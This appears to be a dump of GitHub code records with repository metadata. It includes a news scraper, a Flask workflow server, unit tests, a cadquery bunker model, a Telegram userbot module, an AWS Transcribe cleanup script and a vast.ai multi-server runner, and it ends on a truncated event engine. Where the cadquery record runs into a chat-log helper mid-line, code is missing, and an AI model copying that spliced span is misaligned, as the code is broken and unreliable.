class_='article-card inline-card')\n news = []\n for i in items:\n news.append({\n 'title': i.find(\"h2\", class_='article-card-title').getText(),\n 'desc': i.find(\"p\").getText(),\n 'link': f\"https://www.securitylab.ru/{i.get('href')}\",\n 'time': i.find(\"time\").getText()\n })\n return news\n\n\ndef parser():\n html = get_html(URL)\n if html.status_code == 200:\n news = []\n for page in range(1, 4):\n html = get_html(f\"{URL}page1_{page}.php\")\n news.extend(get_data(html.text))\n return news\n # for i in get_data(html.text):\n # print(i)\n else:\n raise Exception(\"ERROR in Parser\")\n\nprint(parser())\n","repo_name":"myrzaerkinov/myprojects","sub_path":"parser/news.py","file_name":"news.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71721107608","text":"from flask import Flask, request,Response\r\nfrom modules.utils import serializable\r\nfrom models.Workflows import Workflow\r\nimport logging\r\nimport json\r\nimport glob\r\nimport os\r\n\r\n\r\napp = Flask(__name__)\r\n\r\nworkflows = [ Workflow(file) for file in glob.iglob(f'{os.environ.get(\"WORKFLOWS_PATH\",\"workflows\")}/*.yml',recursive=True) ] \r\n\r\n@app.route('/')\r\nasync def trigger_http(route):\r\n response = Response()\r\n try:\r\n for workflow in filter(lambda w: w.http, workflows):\r\n if request.path.lower() in workflow.http.path:\r\n if request.method.lower() in workflow.http.verbs:\r\n response.headers[\"Content-Type\"] = \"application/json\"\r\n result = await workflow.run(request)\r\n \r\n response.data = json.dumps(serializable({\r\n \"name\" : workflow.name,\r\n \"steps\": [s for s in filter(lambda s: not s.hidden or type(s.result) is Exception,workflow.steps)],\r\n \"success\" : workflow.success\r\n }))\r\n response.status_code = 200 if result.success else 500 \r\n return response\r\n response.data = \"

    404 - Workflow not found/h1>\"\r\n response.status_code = 404\r\n return response\r\n except Exception as ex:\r\n logging.exception(ex)\r\n response.data = json.dumps({ \"error\": repr(ex)})\r\n response.status_code = 500\r\n return response\r\n\r\nif __name__ == \"__main__\":\r\n app.run() \r\n","repo_name":"jsoliveir/yorch","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6344448978","text":"import os\nimport numpy\nimport unittest\nimport pyNN.spiNNaker as p\nfrom spinnaker_testbase import BaseTestCase\nfrom spynnaker_integration_tests.scripts import SynfireRunner\nfrom spinn_front_end_common.interface.provenance import ProvenanceReader\nfrom spinn_front_end_common.utilities.report_functions import EnergyReport\nfrom spynnaker.pyNN.data import SpynnakerDataView\nimport sqlite3\n\nn_neurons = 200 # number of neurons in each population\nneurons_per_core = n_neurons / 2\nrun_times = [5000]\n# parameters for population 1 first run\ninput_class = p.SpikeSourcePoisson\nstart_time = 0\nduration = 5000.0\nrate = 2.0\nsynfire_run = SynfireRunner()\n\n\nclass TestPowerMonitoring(BaseTestCase):\n def query_provenance(self, query, *args):\n prov_file = ProvenanceReader.get_last_run_database_path()\n with sqlite3.connect(prov_file) as prov_db:\n prov_db.row_factory = sqlite3.Row\n return list(prov_db.execute(query, args))\n\n def do_run(self):\n synfire_run.do_run(n_neurons, neurons_per_core=neurons_per_core,\n run_times=run_times, input_class=input_class,\n start_time=start_time, duration=duration, rate=rate,\n seed=12345)\n spikes = synfire_run.get_output_pop_spikes_numpy()\n self.assertIsNotNone(spikes, \"must have some spikes\")\n # Check spikes increase in second half by at least a factor of ten\n hist = numpy.histogram(spikes[:, 1], bins=[0, 5000, 10000])\n self.assertIsNotNone(hist, \"must have a histogram\")\n # Did we build the report file like we asked for in config file?\n self.assertIn(EnergyReport._SUMMARY_FILENAME,\n os.listdir(SpynnakerDataView.get_run_dir_path()))\n # Did we output power provenance data, as requested?\n num_chips = None\n for row in self.query_provenance(\n \"SELECT the_value \"\n \"FROM power_provenance \"\n \"WHERE description = 'Num_chips' LIMIT 1\"):\n num_chips = row[\"the_value\"]\n self.assertIsNotNone(num_chips, \"power provenance was not written\")\n\n @unittest.skip(\n \"https://github.com/SpiNNakerManchester/\"\n \"SpiNNFrontEndCommon/issues/866\")\n def test_power_monitoring(self):\n self.runsafe(self.do_run)\n","repo_name":"SpiNNakerManchester/sPyNNaker","sub_path":"spynnaker_integration_tests/test_power_monitoring/test_power_mon.py","file_name":"test_power_mon.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"31"} +{"seq_id":"23712068140","text":"import unittest\n\nfrom secpy.core.utils.period_format_opts import PeriodFormatOpts\nfrom datetime import date\n\n\nclass PeriodFormatOptsTest(unittest.TestCase):\n def test_validate_period_format_arg_on_valid_args(self):\n year = \"CY2022\"\n year_and_quarter = \"CY2022Q1\"\n year_and_quarter_instantaneous = \"CY2022Q1I\"\n valid_period_formats = [year, year_and_quarter, year_and_quarter_instantaneous]\n for period_format in valid_period_formats:\n self.assertTrue(PeriodFormatOpts.validate_period_format_arg(period_format))\n\n def test_validate_period_format_arg_on_invalid_args(self):\n cik = \"0000012345\"\n invalid_year = \"CY22\"\n invalid_quarter = \"CY2022Q01\"\n invalid_instantaneous_flag = \"CY2022Q1F\"\n invalid_period_formats = [cik, invalid_year, invalid_quarter, invalid_instantaneous_flag, invalid_instantaneous_flag]\n for invalid_period_format in invalid_period_formats:\n self.assertRaises(AssertionError, PeriodFormatOpts.validate_period_format_arg, invalid_period_format)\n\n def test_format_period_format_arg_str(self):\n period_format_str = \"CY2022\"\n actual_formatted_period = PeriodFormatOpts.format_period_format_arg(period_format_str)\n self.assertEqual(actual_formatted_period, period_format_str)\n\n actual_formatted_period_instantaneous = PeriodFormatOpts.format_period_format_arg(period_format_str, use_instantaneous=True)\n expected_formatted_period_instantaenous = \"CY2022I\"\n self.assertEqual(actual_formatted_period_instantaneous, expected_formatted_period_instantaenous)\n\n def test_format_period_format_arg_date(self):\n test_date_q1 = date(year=2022, month=1, day=1)\n actual_formatted_period_q1 = PeriodFormatOpts.format_period_format_arg(test_date_q1)\n expected_formatted_period_q1 = \"CY2022Q1\"\n self.assertEqual(actual_formatted_period_q1, expected_formatted_period_q1)\n\n test_date_q2 = date(year=2022, month=4, day=1)\n actual_formatted_period_q2 = PeriodFormatOpts.format_period_format_arg(test_date_q2)\n expected_formatted_period_2 = \"CY2022Q2\"\n self.assertEqual(actual_formatted_period_q2, expected_formatted_period_2)\n\n test_date_q3 = date(year=2022, month=7, day=1)\n actual_formatted_period_q3 = PeriodFormatOpts.format_period_format_arg(test_date_q3)\n expected_formatted_period_q3 = \"CY2022Q3\"\n self.assertEqual(actual_formatted_period_q3, expected_formatted_period_q3)\n\n test_date_q4 = date(year=2022, month=10, day=1)\n actual_formatted_period_q4 = PeriodFormatOpts.format_period_format_arg(test_date_q4, use_instantaneous=True)\n expected_formatted_period_q4 = \"CY2022Q4I\"\n self.assertEqual(actual_formatted_period_q4, expected_formatted_period_q4)\n\n def test_period_format_arg_int(self):\n test_year = 2022\n actual_period_format = PeriodFormatOpts.format_period_format_arg(test_year)\n expected_period_format = \"CY2022\"\n self.assertEqual(actual_period_format, expected_period_format)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"McKalvan/secpy","sub_path":"tests/secpy/core/utils/period_format_opts_test.py","file_name":"period_format_opts_test.py","file_ext":"py","file_size_in_byte":3135,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"31"} +{"seq_id":"37082081069","text":"from motorsykkel import Motorsykkel\n\ndef hovedprogram():\n m1 = Motorsykkel(\"Børg\", \"555666\", 5)\n m2 = Motorsykkel(\"børg2\", \"55621\", 5)\n m3 = Motorsykkel(\"børg3\", \"62352\", 1)\n\n m1.skrivUt()\n m2.skrivUt()\n m3.skrivUt()\n\n m3.kjor(10)\n m3.skrivUt()\n\nhovedprogram()","repo_name":"borgebj/IN1000-Python","sub_path":"innlevering6/andreForsok/testMotorsykkel.py","file_name":"testMotorsykkel.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29466943932","text":"import cadquery as cq\nfrom skirmishbunker import Bunker, FlatRoof\n\n# Renders a small bunker with chamfer\n# and flat roof\nbp = Bunker()\nbp.inset=10\nbp.width=75\nbp.length=75\nbp.height=65\nbp.corner_chamfer=3\n\nbp.render_panel_details=True\nbp.panel_length=28\nbp.panel_width = 5\nbp.panel_padding = 4\n\nbp.render_windows=True\nbp.skip_windows = []\nbp.window_length = 8\nbp.window_height = 24\nbp.window_frame_chamfer = 1.6\nbp.window_frame_chamfer_select = \" 9990:\n least_recent = db.session.query(func.min(Message.time))\n db.session.delete(least_recent)\n db.session.commit()\n\n message = Message(time=time, sender=sender, message=message)\n\n db.session.add(message)\n db.session.commit()\n\ndef _message_time(message):\n return message.time\n\n# Returns a list of dictionaries sorted by time\ndef get_message_log():\n all_messages = db.session.query(Message).all()\n sorted(all_messages, key=_message_time)\n return list(map(lambda message: {'time': message.time,\n 'sender': message.sender,\n 'message': message.message},\n all_messages))\n","repo_name":"alanjding/legends-only","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3004972777","text":"#!/usr/bin/python\n#coding=utf-8\n\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String, ForeignKey, Table, PrimaryKeyConstraint\nfrom sqlalchemy.orm import relationship\nfrom .query import Query\nfrom .canteen import CanteenQuery\nfrom .mealdate import MealDateQuery\n\n\nclass MealQuery(Query):\n __tablename__ = 'meal'\n\n meal_id = Column(Integer)\n name = Column(String)\n price0 = Column(String)\n price1 = Column(String)\n canteen_id = Column(Integer, ForeignKey(\"canteen.id\"))\n canteen = relationship(CanteenQuery, back_populates=\"meals\")\n mealdate = relationship(MealDateQuery, back_populates=\"meals\")\n date_id = Column(Integer, ForeignKey(\"date.date_id\"))\n\n __table_args__ = (\n PrimaryKeyConstraint('canteen_id', 'date_id', 'meal_id'),\n )\n\n def __init__(self, canteen_id, date_id):\n self.canteen_id = canteen_id\n self.date_id = date_id\n\n def doQuery(self):\n return self.query(MealQuery).filter_by(canteen_id=self.canteen_id)\\\n .filter_by(date_id=self.date_id).all()\n\n def __str__(self):\n return \"Meal<{0}, {1}, {2}, \\\"{3}\\\", \\\"{4}\\\", \\\"{5}\\\">\".format(self.canteen.id,\n self.mealdate.date_id,\n self.meal_id,\n self.canteen.name,\n self.mealdate.text,\n self.name)\n","repo_name":"junessi/studentenwerk","sub_path":"query/meal.py","file_name":"meal.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"32370403417","text":"import multiprocessing as mp\n\nfrom yeyuc_downloader import YouGet\n\n\nclass MultiCore:\n def __init__(self, path):\n self.yg = YouGet(path)\n\n def job(self, urls):\n for url in urls:\n self.yg.download(url)\n\n def process(self, param=[], **kwargs):\n \"\"\"\n :param param:\n self.job()函数的参数配置\n :param kwargs:\n processes: int, 核数,默认全部\n :return: 计算结果,list\n \"\"\"\n pool = mp.Pool(processes=kwargs.get(\"processes\")) # 构建进程池\n pool.map(self.job, param)\n\n def split_list(self, ls, n):\n \"\"\"\n 将列表分成若干个个小列表\n :param ls: init list/numpy list\n :param n: split num\n :return: n small lists\n \"\"\"\n if n > len(ls):\n print('分片数大于列表长度!')\n else:\n return [ls[i:i + n] for i in range(0, len(ls), n)]\n\n\nif __name__ == \"__main__\":\n path = r\"你想要的下载位置\"\n urls = [\"https://www.bilibili.com/video/av18156598?p=\" + str(_) for _ in range(1, 107)] # 目标视频urls列表\n\n mc = MultiCore()\n data = mc.split_list(urls, 8) # 将urls分成8份\n mc.process(param=data)\n","repo_name":"528288/BilibiliDownloader","sub_path":"yeyuc_multicore.py","file_name":"yeyuc_multicore.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70856847768","text":"import random\nfrom scipy.spatial import distance\n\n\nclass Circle:\n\n # len can be diameter or radius, if r=1 len is radius otherwise len is diameter\n # Calculates the origin point for the circle, x and y given are at the left middle side of the circle often seen as the starting point\n def __init__(self, origin_x=0, origin_y=0, length=1, r=1):\n if r:\n self.radius = length\n else:\n self.radius = length / 2\n self.originY = origin_x\n self.originX = origin_y\n self.degrees = list(range(360))\n\n def random_point_in_circle(self):\n random_x = self.originX + self.radius + 1\n random_y = self.originY + self.radius + 1\n\n random_point = (random_x, random_y)\n origin = (self.originX, self.originY)\n\n while abs(distance.euclidean(random_point, origin)) > abs(self.radius):\n random_x = random.uniform(self.originX - self.radius, self.originX + self.radius)\n random_y = random.uniform(self.originY - self.radius, self.originX + self.radius)\n random_point = (random_x, random_y)\n\n return random_point\n","repo_name":"bverpaalen/msc-stage-interactions","sub_path":"Artificial_Data_Generator/shapes.py","file_name":"shapes.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14248965640","text":"# \n# Author: Jeremy Pedersen (and ChatGPT)\n# Updated: 2023-10-24\n#\n# Terminate all (completed) transcribe jobs in a given region. \n#\nimport boto3\nimport argparse\n\ndef delete_all_transcribe_jobs(region):\n # Create a Transcribe client for the specified region\n transcribe = boto3.client('transcribe', region_name=region)\n\n # Loop through the job list until no more jobs are found\n while True:\n\n # List all Transcribe jobs\n response = transcribe.list_transcription_jobs()\n\n # Check if there are any jobs to delete\n if 'TranscriptionJobSummaries' not in response:\n print('No Transcribe jobs found in the specified region.')\n break\n\n # Check if the list is empty\n if len(response['TranscriptionJobSummaries']) == 0:\n print('Job list is empty, exiting.')\n break\n\n # Delete each Transcribe job\n for job in response['TranscriptionJobSummaries']:\n job_name = job['TranscriptionJobName']\n print(f\"Deleting Transcribe job: {job_name}\")\n transcribe.delete_transcription_job(TranscriptionJobName=job_name)\n\nparser = argparse.ArgumentParser(description=\"Delete all Transcribe jobs in a specified region.\")\nparser.add_argument(\"-r\", \"--region\", required=True, type=str, help=\"AWS region where Transcribe jobs should be deleted\")\nargs = parser.parse_args()\n\ndelete_all_transcribe_jobs(args.region)\n","repo_name":"jeremypedersen/cloud-scripts","sub_path":"aws/transcribe/transcribe-delete-all-jobs.py","file_name":"transcribe-delete-all-jobs.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40967240086","text":"import sys\nfrom os import environ, execle, remove\n\nfrom pyrogram import Client, filters\nfrom pyrogram.types import Message\n\nfrom config import CMD_HANDLER as cmd\nfrom ProjectMan import BOTLOG_CHATID, LOGGER\nfrom ProjectMan.helpers.basic import edit_or_reply\nfrom ProjectMan.helpers.misc import HAPP\n\nfrom .help import add_command_help\n\n\n@Client.on_message(filters.command(\"restart\", cmd) & filters.me)\nasync def restart_bot(_, message: Message):\n try:\n msg = await edit_or_reply(message, \"`Restarting bot...`\")\n LOGGER(__name__).info(\"BOT SERVER RESTARTED !!\")\n except BaseException as err:\n LOGGER(__name__).info(f\"{err}\")\n return\n await msg.edit_text(\"✅ Bot has restarted !\\n\\n\")\n if HAPP is not None:\n HAPP.restart()\n else:\n args = [sys.executable, \"-m\", \"ProjectMan\"]\n execle(sys.executable, *args, environ)\n\n\n@Client.on_message(filters.command(\"shutdown\", cmd) & filters.me)\nasync def shutdown_bot(client: Client, message: Message):\n if BOTLOG_CHATID:\n await client.send_message(\n BOTLOG_CHATID,\n \"**#SHUTDOWN** \\n\"\n \"**PyroMan-Userbot** telah di matikan!\\nJika ingin menghidupkan kembali silahkan buka heroku\",\n )\n await edit_or_reply(message, \"**PyroMan-Userbot Berhasil di matikan!**\")\n if HAPP is not None:\n HAPP.process_formation()[\"worker\"].scale(0)\n else:\n sys.exit(0)\n\n\n@Client.on_message(filters.command(\"logs\", cmd) & filters.me)\nasync def logs_ubot(client: Client, message: Message):\n if HAPP is None:\n return await edit_or_reply(\n message,\n \"Pastikan `HEROKU_API_KEY` dan `HEROKU_APP_NAME` anda dikonfigurasi dengan benar di config vars heroku\",\n )\n Man = await edit_or_reply(message, \"**Sedang Mengambil Logs Heroku**\")\n with open(\"Logs-Heroku.txt\", \"w\") as log:\n log.write(HAPP.get_log())\n await client.send_document(\n message.chat.id,\n \"Logs-Heroku.txt\",\n thumb=\"ProjectMan/resources/logo.jpg\",\n caption=\"**Ini Logs Heroku anda**\",\n )\n await Man.delete()\n remove(\"Logs-Heroku.txt\")\n\n\nadd_command_help(\n \"system\",\n [\n [\"restart\", \"Untuk merestart userbot.\"],\n [\"shutdown\", \"Untuk mematikan userbot.\"],\n [\"logs\", \"Untuk melihat logs userbot.\"],\n ],\n)\n","repo_name":"mrismanaziz/PyroMan-Userbot","sub_path":"ProjectMan/modules/system.py","file_name":"system.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"en","doc_type":"code","stars":104,"dataset":"github-code","pt":"31"} +{"seq_id":"41743076442","text":"import subprocess\nimport sys\nimport os\nimport time \nimport json\n\nVAST_AI_SERVERS = [(16612, 5), (14696, 4)]\n\ndef get_offers():\n vast_cmd = \"./vast search offers --raw 'reliability > 0.99 num_gpus=1 rentable=True inet_up>200 dph<0.4' -o 'dlperf-'\"\n raw_out = subprocess.Popen(vast_cmd, stdout=subprocess.PIPE, shell=True, stderr=subprocess.PIPE)\n out, err = raw_out.communicate()\n return json.loads(out)\n\ndef create_server(id):\n create_cmd = f\"./vast create instance {id} --raw --image pytorch/pytorch --disk 100\"\n raw_out = subprocess.Popen(create_cmd, stdout=subprocess.PIPE, shell=True, stderr=subprocess.PIPE)\n out, err = raw_out.communicate()\n return json.loads(out)\n\ndef get_servers_info():\n info_cmd = f\"./vast show instances --raw\"\n raw_out = subprocess.Popen(info_cmd, stdout=subprocess.PIPE, shell=True, stderr=subprocess.PIPE)\n out, err = raw_out.communicate()\n \n if 'error 429' in str(out):\n print(\"429 error, sleeping for 10 seconds\")\n time.sleep(10)\n return get_servers_info()\n return json.loads(out)\n\ndef destroy_server(id):\n destroy_cmd = f\"./vast destroy instance {id} --raw\"\n raw_out = subprocess.Popen(destroy_cmd, stdout=subprocess.PIPE, shell=True, stderr=subprocess.PIPE)\n out, err = raw_out.communicate()\n if out:\n out = json.loads(out)\n return out\n\ndef reboot_server(id):\n destroy_cmd = f\"./vast destroy instance {id} --raw\"\n raw_out = subprocess.Popen(destroy_cmd, stdout=subprocess.PIPE, shell=True, stderr=subprocess.PIPE)\n out, err = raw_out.communicate()\n if out:\n out = json.loads(out)\n return out\n\n \ndef get_vast_ai_servers(n_servers=1, clear_existing=False):\n time.sleep(1) # Give time, else get 429 error\n if clear_existing:\n servers = get_servers_info()\n for server in servers:\n delete_cmd = f\"./vast destroy instance {server['id']}\"\n subprocess.run(delete_cmd, shell=True)\n \n offers = get_offers()\n\n if len(offers) < n_servers:\n raise ValueError(f\"Only {len(offers)} offers available, but {n_servers} servers requested\")\n\n current_servers = []\n offer_n = 0\n while len(current_servers) < n_servers:\n server_info = create_server(offers[offer_n][\"id\"])\n current_servers.append(server_info[\"new_contract\"])\n print(f\"Created server {server_info['new_contract']}\")\n offer_n += 1\n \n print([server_info['cur_state'] for server_info in get_servers_info()])\n working_servers = [server_info['cur_state'] in [\"running\", \"unloaded\"] for server_info in get_servers_info()]\n assert all(working_servers), f\"Some servers failed to start up, {working_servers}\"\n while not all([server_info['cur_state'] in [\"running\"] for server_info in get_servers_info()]):\n print([server_info['cur_state'] for server_info in get_servers_info()])\n time.sleep(5) # Wait for the servers to start up\n \n print(\"All servers 'running', waiting 45 seconds for them to actually be ready\")\n time.sleep(60) # Give extra time for loading, doesn't seem to be ready even when 'running'\n return [(s['ssh_port'], int(s['ssh_idx'])) for s in get_servers_info()]\n\n\ndef setup_multiple(n_start: int = 0):\n server_list = server_list = [(s['ssh_port'], int(s['ssh_idx'])) for s in get_servers_info()]\n\n processes = []\n files = []\n for ndx, server in enumerate(server_list[n_start:]):\n port, num = server\n addr = \"root@ssh\" + str(num) + \".vast.ai\"\n\n # Install python3-venv and build-essential\n pre_install_cmd = f\"ssh -oStrictHostKeyChecking=no -p {port} {addr} \\\"apt update && apt install -y python3-venv build-essential\\\"\"\n # Create an async process to run the command which we will then wait for later\n print(f\"Installing python3-venv and build-essential on server {server}\")\n subprocess.run(pre_install_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n # File descriptor for the output of the setup command\n if not os.path.exists(\"multilog\"):\n os.mkdir(\"multilog\")\n \n setup_out_f = open(f\"multilog/setup_{server[0]},{server[1]}.out\", \"w\")\n setup_err_f = open(f\"multilog/setup_{server[0]},{server[1]}.err\", \"w\")\n files.extend([setup_out_f, setup_err_f])\n\n # Setup the server for running experiments\n print(f\"Setting up server {server}\")\n setup_cmd = f\"make ssh-setup SSH_DESTINATION=root@ssh{num}.vast.ai SSH_PORT=\" + str(port)\n # Running with output piped to /dev/null to avoid the output being printed to the terminal\n processes.append(subprocess.Popen(setup_cmd, shell=True, stdout=setup_out_f, stderr=setup_err_f)) \n\n # Close the file descriptors\n setup_out_f.close()\n setup_err_f.close()\n \n # Wait for all the servers to be setup\n running = [p.poll() is None for p in processes]\n n_minutes = 0\n while any(running):\n print(f\"Setting up for {n_minutes} minute/s. Current status: {['Running' if r else 'Done' for r in running]}\")\n time.sleep(60)\n running = [p.poll() is None for p in processes]\n n_minutes += 1\n\n \n [p.wait() for p in processes]\n print(\"All servers setup\")\n for f in files:\n f.close()\n \ndef kill_existing(n_start: int = 0) -> None:\n start_ndx = 0 # The index of the first experiment to run in the configs list at the end of train_CUB.py\n server_info = get_servers_info()\n server_ids = [(s['id']) for s in server_info]\n\n for id in server_ids[n_start:]:\n reboot_server(id)\n\ndef run_multiple(n_start: int = 0) -> None:\n start_ndx = n_start # The index of the first experiment to run in the configs list at the end of train_CUB.py\n server_info = get_servers_info()\n server_list = server_list = [(s['ssh_port'], int(s['ssh_idx'])) for s in server_info]\n \n processes = []\n files = []\n for ndx, server in enumerate(server_list[n_start:]):\n port, num = server\n addr = \"root@ssh\" + str(num) + \".vast.ai\"\n \n # Sync the codebase\n print(f\"Syncing server {server}\")\n sync_cmd = f\"make ssh-sync SSH_DESTINATION=root@ssh{num}.vast.ai SSH_PORT=\" + str(port)\n sync_proc = subprocess.run(sync_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n\n # File descriptor for the output of the experiment command\n if not os.path.exists(\"multilog\"):\n os.mkdir(\"multilog\")\n exp_out_f = open(f\"multilog/exp_{port},{num}.out\", \"w\")\n exp_err_f = open(f\"multilog/exp_{port},{num}.err\", \"w\")\n files += [exp_out_f, exp_err_f]\n\n # Run the experiment with the given parameters\n print(f\"Running experiment {start_ndx + ndx} on server {server}\")\n run_cmd = f\"ssh -fn -p {port} {addr} \\\" cd ~/hoagy-hiddeninfo-sync && source .env/bin/activate && python CUB/train_CUB.py --cfg-index={start_ndx + ndx}\\\"&\"\n run_proc = subprocess.Popen(run_cmd, shell=True, stdout=exp_out_f, stderr=exp_err_f)\n processes.append(((server_info[ndx][\"id\"], port, num), run_proc))\n\n\n\n # Wait for all the servers to be setup\n running = [p.poll() is None for _, p in processes]\n n_hours = 0.\n while any(running):\n print(running)\n print(f\"Running up for {n_hours} hours. Current status: {['Running' if r else 'Done' for r in running]}\")\n time.sleep(3)\n running = [p.poll() is None for _, p in processes]\n n_hours += 0.5\n for id, p in processes:\n if p.poll() is not None:\n print(f\"Server {'_'.join([str(x) for x in id])} has finished running\")\n # destroy_server(id[0])\n # print(f\"Server {'_'.join([str(x) for x in id])} has been destroyed\")\n\n for f in files:\n f.close()\n\n\ndef sync_multiple(n_start=0):\n # Run ssh-sync with each of the servers\n server_info = get_servers_info()\n server_list = [(s['ssh_port'], int(s['ssh_idx'])) for s in server_info]\n for server in server_list[n_start:]:\n port, num = server\n sync_cmd = f\"make ssh-sync SSH_DESTINATION=root@ssh{num}.vast.ai SSH_PORT=\" + str(port)\n print(f\"Syncing server {server}\")\n subprocess.run(sync_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 2:\n n_start = int(sys.argv[2])\n else:\n n_start = 0\n if len(sys.argv) > 1 and sys.argv[1] == \"sync\":\n sync_multiple(n_start)\n elif len(sys.argv) > 1 and sys.argv[1] == \"setup\":\n setup_multiple(n_start)\n elif len(sys.argv) > 1 and sys.argv[1] == \"kill\":\n kill_existing()\n elif len(sys.argv) > 1 and sys.argv[1] == \"run\":\n run_multiple(n_start)\n else:\n print(\n \"Invalid command. Valid commands are: sync, setup, kill, run\")\n","repo_name":"HoagyC/hidden_paper","sub_path":"run_multiple.py","file_name":"run_multiple.py","file_ext":"py","file_size_in_byte":8856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30760632102","text":"# importing modules\nimport cv2\nimport numpy as np\n\n# creating a face cascade\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\n# creating eyes cascade\neye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')\n\n# capturing using external video cam\ncap = cv2.VideoCapture(0 + cv2.CAP_DSHOW)\n\n# starting the loop\nwhile True:\n ret, img = cap.read()\n # converting video into gray scale\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # Detects objects of different sizes in the input image and draws\n # rectangles on it\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n\n for (x, y, w, h) in faces:\n cv2.rectangle(\n img,\n pt1=(\n x,\n y),\n pt2=(\n x + w,\n y + h),\n color=(\n 255,\n 0,\n 0),\n thickness=2)\n roi_gray = gray[y:y + h, x:x + w]\n roi_color = img[y:y + h, x:x + w]\n\n # after finding the face, look for the eyes.\n eyes = eye_cascade.detectMultiScale(roi_gray)\n for (ex, ey, ew, eh) in eyes:\n cv2.rectangle(\n img=roi_color,\n pt1=(\n ex,\n ey),\n pt2=(\n ex + ew,\n ey + eh),\n color=(\n 0,\n 255,\n 0),\n thickness=2)\n\n cv2.imshow('img', img) # displays the image in the specified window\n # milliseconds, waits for specific time until you press any button on\n # keyword\n k = cv2.waitKey(30)\n\n if k == 27: # interruption happens before 30 ms\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"Milind-cod3-base/Face-and-Eyes-detection","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"47814522024","text":"from .modules import *\n\nclass DeepSet(nn.Module):\n def __init__(self, dim_input, num_outputs, dim_output, dim_hidden=128):\n super(DeepSet, self).__init__()\n self.num_outputs = num_outputs\n self.dim_output = dim_output\n self.enc = nn.Sequential(\n nn.Linear(dim_input, dim_hidden),\n nn.ReLU())\n self.dec = nn.Sequential(\n nn.Linear(dim_hidden, num_outputs*dim_output*2))\n\n def forward(self, X):\n X = self.enc(X).mean(-2)\n X = self.dec(X).reshape(-1, self.num_outputs, self.dim_output, 2)\n return X\n\nclass DeepSetOA(nn.Module):\n def __init__(self, dim_input, dim_hidden=128):\n super(DeepSetOA, self).__init__()\n self.dim_hidden = dim_hidden\n self.enc = nn.Sequential(\n nn.Linear(dim_input, dim_hidden),\n nn.ReLU())\n self.weight = nn.Sequential(\n nn.Linear(dim_hidden, dim_hidden))\n self.bias = nn.Sequential(\n nn.Linear(dim_hidden, dim_hidden))\n\n def forward(self, X):\n X = self.enc(X).mean(-2)\n weight = self.weight(X).reshape(-1, self.dim_hidden)\n bias = self.bias(X).reshape(-1, self.dim_hidden)\n return weight, bias\n\n\nclass SetTransformer(nn.Module):\n def __init__(self, dim_input, num_outputs, dim_output,\n num_inds=32, dim_hidden=128, num_heads=4, ln=False):\n super(SetTransformer, self).__init__()\n self.enc = nn.Sequential(\n ISAB(dim_input, dim_hidden, num_heads, num_inds, ln=ln),\n ISAB(dim_hidden, dim_hidden, num_heads, num_inds, ln=ln))\n self.dec = nn.Sequential(\n PMA(dim_hidden, num_heads, num_outputs, ln=ln),\n SAB(dim_hidden, dim_hidden, num_heads, ln=ln),\n SAB(dim_hidden, dim_hidden, num_heads, ln=ln),\n nn.Linear(dim_hidden, dim_output))\n\n def forward(self, X):\n return self.dec(self.enc(X))\n","repo_name":"dchen48/BNPG","sub_path":"BN_MAPPO_SMAC/onpolicy/algorithms/r_mappo/algorithm/probabilistic_dag_model/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"18328148982","text":"import math\n\nfrom source.action.action_queue import ActionQueue\nfrom source.action.action import Action\nfrom source.action.resolution_functions import *\nfrom source.helper_functions.circle_conversions import *\nfrom source.galaxy.galaxy import Galaxy\nfrom source.system.system import System\n\nclass EventEngine:\n def __init__(self, game):\n self.global_time = 0\n self.global_queue = ActionQueue()\n self.game = game\n \n def resolve_actions(self):\n results = self.global_queue.resolve_actions(self.global_time)\n for result in results:\n if result[\"type\"] == \"enter\":\n self.resolve_enter(result)\n elif result[\"type\"] == \"jump\":\n if ('no-jump' in self.game.state_flags):\n return\n self.resolve_jump(result)\n elif result[\"type\"] == \"move\" and isinstance(self.game.current_location, Galaxy):\n for key, value in self.game.current_location.check_explored_corners(self.game.player.current_ship.get_x(), self.game.player.current_ship.get_y(), 